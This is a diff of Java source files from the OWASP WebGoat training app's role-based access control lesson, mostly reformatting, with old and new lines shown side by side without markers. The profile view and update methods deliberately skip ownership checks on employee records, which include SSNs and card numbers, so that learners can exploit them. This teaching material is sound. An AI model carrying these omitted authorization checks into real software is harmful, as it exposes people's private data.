Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.executeUpdate(query);
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error deleting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error deleting employee profile");
e.printStackTrace();
}
}
private void updateLessonStatus(WebSession s)
{
// If the logged in user is not authorized to be here, stage 1 is complete.
if (RoleBasedAccessControl.STAGE1.equals(getStage(s)))
try
if (RoleBasedAccessControl.STAGE1.equals(getStage(s))) try
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.USER_ID);
int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
if (!isAuthorized(s, userId,
RoleBasedAccessControl.DELETEPROFILE_ACTION))
if (!isAuthorized(s, userId, RoleBasedAccessControl.DELETEPROFILE_ACTION))
{
setStageComplete(s, RoleBasedAccessControl.STAGE1);
}
} catch (ParameterNotFoundException e)
{
}
catch (ParameterNotFoundException e)
{}
}
}

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.RoleBasedAccessControl;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee;
@ -12,73 +12,65 @@ import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class EditProfile extends DefaultLessonAction
{
public EditProfile(GoatHillsFinancial lesson, String lessonName,
String actionName)
public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{
int userId = getUserId(s);
int employeeId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID);
int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.EMPLOYEE_ATTRIBUTE_KEY, employee);
setSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.EMPLOYEE_ATTRIBUTE_KEY, employee);
}
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
return RoleBasedAccessControl.EDITPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
@ -89,43 +81,31 @@ public class EditProfile extends DefaultLessonAction
try
{
PreparedStatement answer_statement = WebSession
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
@ -134,12 +114,11 @@ public class EditProfile extends DefaultLessonAction
return profile;
}
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{
// Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given user
// Query the database for the profile data of the given employee if "owned" by the given
// user
Employee profile = null;
@ -150,43 +129,31 @@ public class EditProfile extends DefaultLessonAction
try
{
PreparedStatement answer_statement = WebSession
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons.RoleBasedAccessControl;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
@ -19,32 +19,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
@ -60,7 +59,8 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
public final static String STAGE4 = "Add Data Layer Access Control";
protected void registerActions(String className) {
protected void registerActions(String className)
{
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
@ -68,16 +68,11 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION,
getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION,
getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION,
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
/**
@ -98,34 +93,29 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("Many sites attempt to restrict access to resources by role.");
hints
.add("Developers frequently make mistakes implementing this scheme.");
hints.add("Many sites attempt to restrict access to resources by role.");
hints.add("Developers frequently make mistakes implementing this scheme.");
hints.add("Attempt combinations of users, roles, and resources.");
// Stage 1
hints
.add("How does the application know that the user selected the delete function?");
hints.add("How does the application know that the user selected the delete function?");
// Stage 2
// Stage 3
hints
.add("How does the application know that the user selected any particular employee to view?");
hints.add("How does the application know that the user selected any particular employee to view?");
// Stage 4
hints
.add("Note that the contents of the staff listing change depending on who is logged in.");
hints.add("Note that the contents of the staff listing change depending on who is logged in.");
return hints;
}
@Override
public String[] getStages() {
if (getWebgoatContext().isCodingExercises())
return new String[] {STAGE1, STAGE2, STAGE3, STAGE4};
return new String[] {STAGE1, STAGE3};
public String[] getStages()
{
if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2, STAGE3, STAGE4 };
return new String[] { STAGE1, STAGE3 };
}
/**
@ -173,28 +163,27 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
// Here is where dispatching to the various action handlers happens.
// It would be a good place verify authorization to use an action.
//System.out.println("RoleBasedAccessControl.handleRequest()");
if (s.getLessonSession(this) == null)
s.openLessonSession(this);
// System.out.println("RoleBasedAccessControl.handleRequest()");
if (s.getLessonSession(this) == null) s.openLessonSession(this);
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
}
//System.out.println("Requested lesson action: " + requestedActionName);
// System.out.println("Requested lesson action: " + requestedActionName);
try
{
LessonAction action = getAction(requestedActionName);
if (action != null)
{
//System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: " + action.getActionName());
// System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: " +
// action.getActionName());
if (!action.requiresAuthentication())
{
// Access to Login does not require authentication.
@ -212,26 +201,22 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
}
else
setCurrentAction(s, ERROR_ACTION);
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
} catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
} catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
} catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
@ -241,8 +226,8 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
{
try
{
if (RoleBasedAccessControl.DELETEPROFILE_ACTION.equals(requestedActionName) &&
!isAuthorized(s, getUserId(s), RoleBasedAccessControl.DELETEPROFILE_ACTION))
if (RoleBasedAccessControl.DELETEPROFILE_ACTION.equals(requestedActionName)
&& !isAuthorized(s, getUserId(s), RoleBasedAccessControl.DELETEPROFILE_ACTION))
{
setStageComplete(s, STAGE2);
}
@ -251,18 +236,17 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
pnfe.printStackTrace();
}
}
//System.out.println("isAuthorized() exit stage: " + getStage(s));
// System.out.println("isAuthorized() exit stage: " + getStage(s));
// Update lesson status if necessary.
if (STAGE4.equals(stage))
{
try
{
//System.out.println("Checking for stage 4 completion");
// System.out.println("Checking for stage 4 completion");
DefaultLessonAction action = (DefaultLessonAction) getAction(getCurrentAction(s));
int userId = Integer.parseInt((String)s.getRequest().getSession().getAttribute(getLessonName() + "."
+ RoleBasedAccessControl.USER_ID));
int employeeId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID);
int userId = Integer.parseInt((String) s.getRequest().getSession()
.getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID));
int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
if (!action.isAuthorizedForEmployee(s, userId, employeeId))
{
@ -278,8 +262,7 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace();
}
catch (Exception e)
} catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
@ -291,27 +274,24 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
setContent(new ElementContainer());
}
public void handleRequest_BACKUP(WebSession s)
{
// Here is where dispatching to the various action handlers happens.
// It would be a good place verify authorization to use an action.
//System.out.println("RoleBasedAccessControl.handleRequest()");
if (s.getLessonSession(this) == null)
s.openLessonSession(this);
// System.out.println("RoleBasedAccessControl.handleRequest()");
if (s.getLessonSession(this) == null) s.openLessonSession(this);
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
}
//System.out.println("Requested lesson action: " + requestedActionName);
// System.out.println("Requested lesson action: " + requestedActionName);
if (requestedActionName != null)
{
@ -320,7 +300,9 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
LessonAction action = getAction(requestedActionName);
if (action != null)
{
//System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: " + action.getActionName());
// System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: "
// +
// action.getActionName());
if (!action.requiresAuthentication())
{
// Access to Login does not require authentication.
@ -331,8 +313,7 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
if (action.isAuthenticated(s))
{
int userId = action.getUserId(s);
if (action.isAuthorized(s, userId, action
.getActionName()))
if (action.isAuthorized(s, userId, action.getActionName()))
{
action.handleRequest(s);
}
@ -347,26 +328,22 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
}
else
setCurrentAction(s, ERROR_ACTION);
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
} catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
} catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
} catch (UnauthorizedException ue2)
{
String stage = getStage(s);
// Update lesson status if necessary.
@ -374,8 +351,8 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
{
try
{
if (RoleBasedAccessControl.DELETEPROFILE_ACTION.equals(requestedActionName) &&
!isAuthorized(s, getUserId(s), RoleBasedAccessControl.DELETEPROFILE_ACTION))
if (RoleBasedAccessControl.DELETEPROFILE_ACTION.equals(requestedActionName)
&& !isAuthorized(s, getUserId(s), RoleBasedAccessControl.DELETEPROFILE_ACTION))
{
setStageComplete(s, STAGE2);
}
@ -384,18 +361,17 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
pnfe.printStackTrace();
}
}
//System.out.println("isAuthorized() exit stage: " + getStage(s));
// System.out.println("isAuthorized() exit stage: " + getStage(s));
// Update lesson status if necessary.
if (STAGE4.equals(stage))
{
try
{
//System.out.println("Checking for stage 4 completion");
// System.out.println("Checking for stage 4 completion");
DefaultLessonAction action = (DefaultLessonAction) getAction(getCurrentAction(s));
int userId = Integer.parseInt((String)s.getRequest().getSession().getAttribute(getLessonName() + "."
+ RoleBasedAccessControl.USER_ID));
int employeeId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID);
int userId = Integer.parseInt((String) s.getRequest().getSession()
.getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID));
int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
if (!action.isAuthorizedForEmployee(s, userId, employeeId))
{
@ -412,8 +388,7 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace();
}
catch (Exception e)
} catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
@ -431,7 +406,6 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the DirectoryScreen object
*

View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons.RoleBasedAccessControl;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -15,32 +15,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
@ -49,68 +48,46 @@ public class UpdateProfile extends DefaultLessonAction
private LessonAction chainedAction;
public UpdateProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException
{
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.USER_ID);
int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
int subjectId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID, 0);
int subjectId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID, 0);
String firstName = s.getParser().getStringParameter(
RoleBasedAccessControl.FIRST_NAME);
String lastName = s.getParser().getStringParameter(
RoleBasedAccessControl.LAST_NAME);
String ssn = s.getParser().getStringParameter(
RoleBasedAccessControl.SSN);
String title = s.getParser().getStringParameter(
RoleBasedAccessControl.TITLE);
String phone = s.getParser().getStringParameter(
RoleBasedAccessControl.PHONE_NUMBER);
String address1 = s.getParser().getStringParameter(
RoleBasedAccessControl.ADDRESS1);
String address2 = s.getParser().getStringParameter(
RoleBasedAccessControl.ADDRESS2);
int manager = s.getParser().getIntParameter(
RoleBasedAccessControl.MANAGER);
String startDate = s.getParser().getStringParameter(
RoleBasedAccessControl.START_DATE);
int salary = s.getParser().getIntParameter(
RoleBasedAccessControl.SALARY);
String ccn = s.getParser().getStringParameter(
RoleBasedAccessControl.CCN);
int ccnLimit = s.getParser().getIntParameter(
RoleBasedAccessControl.CCN_LIMIT);
String disciplinaryActionDate = s.getParser().getStringParameter(
RoleBasedAccessControl.DISCIPLINARY_DATE);
String disciplinaryActionNotes = s.getParser().getStringParameter(
RoleBasedAccessControl.DISCIPLINARY_NOTES);
String personalDescription = s.getParser().getStringParameter(
RoleBasedAccessControl.DESCRIPTION);
String firstName = s.getParser().getStringParameter(RoleBasedAccessControl.FIRST_NAME);
String lastName = s.getParser().getStringParameter(RoleBasedAccessControl.LAST_NAME);
String ssn = s.getParser().getStringParameter(RoleBasedAccessControl.SSN);
String title = s.getParser().getStringParameter(RoleBasedAccessControl.TITLE);
String phone = s.getParser().getStringParameter(RoleBasedAccessControl.PHONE_NUMBER);
String address1 = s.getParser().getStringParameter(RoleBasedAccessControl.ADDRESS1);
String address2 = s.getParser().getStringParameter(RoleBasedAccessControl.ADDRESS2);
int manager = s.getParser().getIntParameter(RoleBasedAccessControl.MANAGER);
String startDate = s.getParser().getStringParameter(RoleBasedAccessControl.START_DATE);
int salary = s.getParser().getIntParameter(RoleBasedAccessControl.SALARY);
String ccn = s.getParser().getStringParameter(RoleBasedAccessControl.CCN);
int ccnLimit = s.getParser().getIntParameter(RoleBasedAccessControl.CCN_LIMIT);
String disciplinaryActionDate = s.getParser().getStringParameter(RoleBasedAccessControl.DISCIPLINARY_DATE);
String disciplinaryActionNotes = s.getParser()
.getStringParameter(RoleBasedAccessControl.DISCIPLINARY_NOTES);
String personalDescription = s.getParser().getStringParameter(RoleBasedAccessControl.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName,
ssn, title, phone, address1, address2, manager, startDate,
salary, ccn, ccnLimit, disciplinaryActionDate,
disciplinaryActionNotes, personalDescription);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription);
if (subjectId > 0)
{
this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.EMPLOYEE_ID, Integer
setRequestAttribute(s, getLessonName() + "." + RoleBasedAccessControl.EMPLOYEE_ID, Integer
.toString(subjectId));
}
else
@ -119,13 +96,11 @@ public class UpdateProfile extends DefaultLessonAction
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
} catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
@ -135,15 +110,13 @@ public class UpdateProfile extends DefaultLessonAction
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
return RoleBasedAccessControl.VIEWPROFILE_ACTION;
}
public void changeEmployeeProfile(WebSession s, int userId, int subjectId,
Employee employee) throws UnauthorizedException
public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee)
throws UnauthorizedException
{
try
{
@ -153,7 +126,9 @@ public class UpdateProfile extends DefaultLessonAction
+ " personal_description = ? WHERE userid = ?;";
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName());
@ -169,24 +144,21 @@ public class UpdateProfile extends DefaultLessonAction
ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId);
ps.execute();
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
public void changeEmployeeProfile_BACKUP(WebSession s, int userId,
int subjectId, Employee employee) throws UnauthorizedException
public void changeEmployeeProfile_BACKUP(WebSession s, int userId, int subjectId, Employee employee)
throws UnauthorizedException
{
try
{
@ -196,7 +168,9 @@ public class UpdateProfile extends DefaultLessonAction
+ " personal_description = ? WHERE userid = ?;";
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName());
@ -212,15 +186,13 @@ public class UpdateProfile extends DefaultLessonAction
ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId);
ps.executeUpdate(query);
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
@ -232,20 +204,16 @@ public class UpdateProfile extends DefaultLessonAction
int uid = -1;
try
{
